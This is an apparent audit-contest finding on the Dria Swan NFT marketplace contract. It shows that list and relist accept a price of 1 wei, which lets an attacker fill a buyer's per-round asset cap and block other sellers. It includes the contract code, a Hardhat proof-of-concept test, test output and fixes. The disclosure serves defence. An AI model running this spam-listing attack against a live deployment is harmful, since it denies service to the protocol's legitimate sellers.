Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Users can list assets with price < 1 ERC20 (ETH, WETH), leading to potential DoS vulnerability.

Summary

In Swan.sol, the list function allows users to create new assets with various parameters, including a price parameter that lacks a minimum value constraint. As a result, users can set any ERC20-compatible token (e.g., ETH, WETH) as the price, potentially even using extremely low values. Since some tokens may require a minimum value, users could set the price to a value of 1 rather than the standard ERC20 unit (1e18). Thus, the smallest amount greater than zero is used, bypassing intended costs.

Swan::list function:

function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price, address _buyer)
-------------------------------------------------------------------------------------------------^
external
{
@> // @info: Missing minimum price check.
BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();
// Ensure the buyer is in the sell phase
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
// Ensure asset count does not exceed `maxAssetCount`
if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}
// All checks pass, create the asset and its listing
address asset = address(swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender));
listings[asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
@> price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
// Add listing to buyer’s list of assets for the round
assetsPerBuyerRound[_buyer][round].push(asset);
// Transfer royalties
transferRoyalties(listings[asset]);
emit AssetListed(msg.sender, asset, _price);
}

Swan::relist function:

function relist(address _asset, address _buyer, uint256 _price) external {
----------------------------------------------------------^
// @info: missing zero price check
AssetListing storage asset = listings[_asset];
// only the seller can relist the asset
if (asset.seller != msg.sender) {
revert Unauthorized(msg.sender);
}
// asset must be listed
if (asset.status != AssetStatus.Listed) {
revert InvalidStatus(asset.status, AssetStatus.Listed);
}
// relist can only happen after the round of its listing has ended
// we check this via the old buyer, that is the existing asset.buyer
// @info: invalid natspec below
// note that asset is unlisted here, but is not bought at all
//
// perhaps it suffices to check `==` here, since buyer round
// is changed incrementially
(uint256 oldRound,,) = BuyerAgent(asset.buyer).getRoundPhase();
if (oldRound <= asset.round) {
revert RoundNotFinished(_asset, asset.round);
}
// now we move on to the new buyer
BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();
// buyer must be in sell phase
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
// buyer must not have more than `maxAssetCount` many assets
uint256 count = assetsPerBuyerRound[_buyer][round].length;
if (count >= getCurrentMarketParameters().maxAssetCount) {
revert AssetLimitExceeded(count);
}
// create listing
listings[_asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
@> price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
// add this to list of listings for the buyer for this round
assetsPerBuyerRound[_buyer][round].push(_asset);
// transfer royalties
transferRoyalties(listings[_asset]);
emit AssetRelisted(msg.sender, _buyer, _asset, _price);
}

Due to previously discovered findings on transferRoyalties by Lightchaser, checks against zero amounts of fees help protect some price values, but this doesn’t fully mitigate the issue.

Vulnerability

Malicious users can exploit the list function by setting the price to the minimum possible amount (e.g., 1 or 10) instead of the expected ERC20 unit (1e18 or 10e18). This enables bad actors to list multiple assets at virtually no cost, creating a denial-of-service (DoS) situation.

Since the market parameters, including round, roundTime, and phase, evolve with each listing, a malicious actor could monopolize a specific round by populating the list with their assets. Once the maxAssetCount is reached for that round, others would be unable to list new assets until the next parameter update. This exploitation can be repeated every round, impacting any buyer’s listings.

Relevant Swan::list function code:

// Ensure asset count does not exceed `maxAssetCount`
@> if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}

Relevant Swan::relist function code:

// Ensure asset count does not exceed `maxAssetCount`
uint256 count = assetsPerBuyerRound[_buyer][round].length;
@> if (count >= getCurrentMarketParameters().maxAssetCount) {
revert AssetLimitExceeded(count);
}

Proof of Concept

  1. Add the following test code to Swan.test.ts within the Swan test suite:

describe("Swan Attack Mode", async () => {
const currRound = 0n;
it("should list 5 assets for the first round", async function () {
await listAssets(
swan,
buyerAgent,
[
[seller, PRICE1],
[seller, PRICE2],
[seller, PRICE3],
[sellerToRelist, PRICE2],
[sellerToRelist, PRICE1],
],
NAME,
SYMBOL,
DESC,
0n
);
[assetToBuy, assetToRelist, assetToFail, ,] = await swan.getListedAssets(
await buyerAgent.getAddress(),
currRound
);
expect(await token.balanceOf(seller)).to.be.equal(FEE_AMOUNT1 + FEE_AMOUNT2);
expect(await token.balanceOf(sellerToRelist)).to.be.equal(0);
});
it("should NOT allow listing more than max asset count", async function () {
// Try to list an asset beyond the max asset count
await expect(swan.connect(sellerToRelist).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress()))
.to.be.revertedWithCustomError(swan, "AssetLimitExceeded")
.withArgs(MARKET_PARAMETERS.maxAssetCount);
});
it("Assets can be listed with a minimal price of 1 unit", async () => {
let NEW_MARKET_PARAMETERS = {
withdrawInterval: minutes(10),
sellInterval: minutes(20),
buyInterval: minutes(30),
platformFee: 2n,
maxAssetCount: 2n,
timestamp: (await ethers.provider.getBlock("latest").then((block) => block?.timestamp)) as bigint,
};
await swan.connect(dria).setMarketParameters(NEW_MARKET_PARAMETERS);
const PRICE = 1; // Minimal unit
// First asset listing in the same round
await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress());
// Second asset listing in the same round
await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress());
// Third asset listing should revert due to max count
await expect(swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE, await buyerAgent.getAddress())).to.be.revertedWithCustomError(swan, "AssetLimitExceeded");
});
});
  1. Comment out all test cases following Sell phase #1: listing inclusively.

  2. Run the following command to test:

yarn test --grep "Swan"
  1. Check logs for gas usage results.

Swan
should deploy swan (668ms)
should create buyers (106ms)
should fund buyers & sellers (62ms)
✔ should register oracles
Swan Attack Mode
✔ should list 5 assets for the first round (64ms)
should NOT allow listing beyond max asset count
✔ Assets can be listed with a minimal unit price of 1 (51ms) <== this one

Impact

  • Malicious actors can fill listings with their own assets until the maxAssetCount is reached, causing other users to experience a DoS.

  • This DoS can be performed with minimal cost of only 1 or 10 greater than zero not 1e18 or 10e18 just 1 or 10. whose 100% is still greater than 0. So fees will not be zero.

  • Low-cost asset creation risks overwhelming the protocol with a flood of assets, which could affect protocol performance.

Recommendations

  1. Implement a check that verifies the price value is non-zero and considers ERC20 precision (e.g., 18 decimals).

  2. Enforce a minimum listing price, potentially at least 1% of the ERC20 unit. For a “Free Asset Creation” feature, include logic to prevent spam and Sybil attacks if zero fees are allowed.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.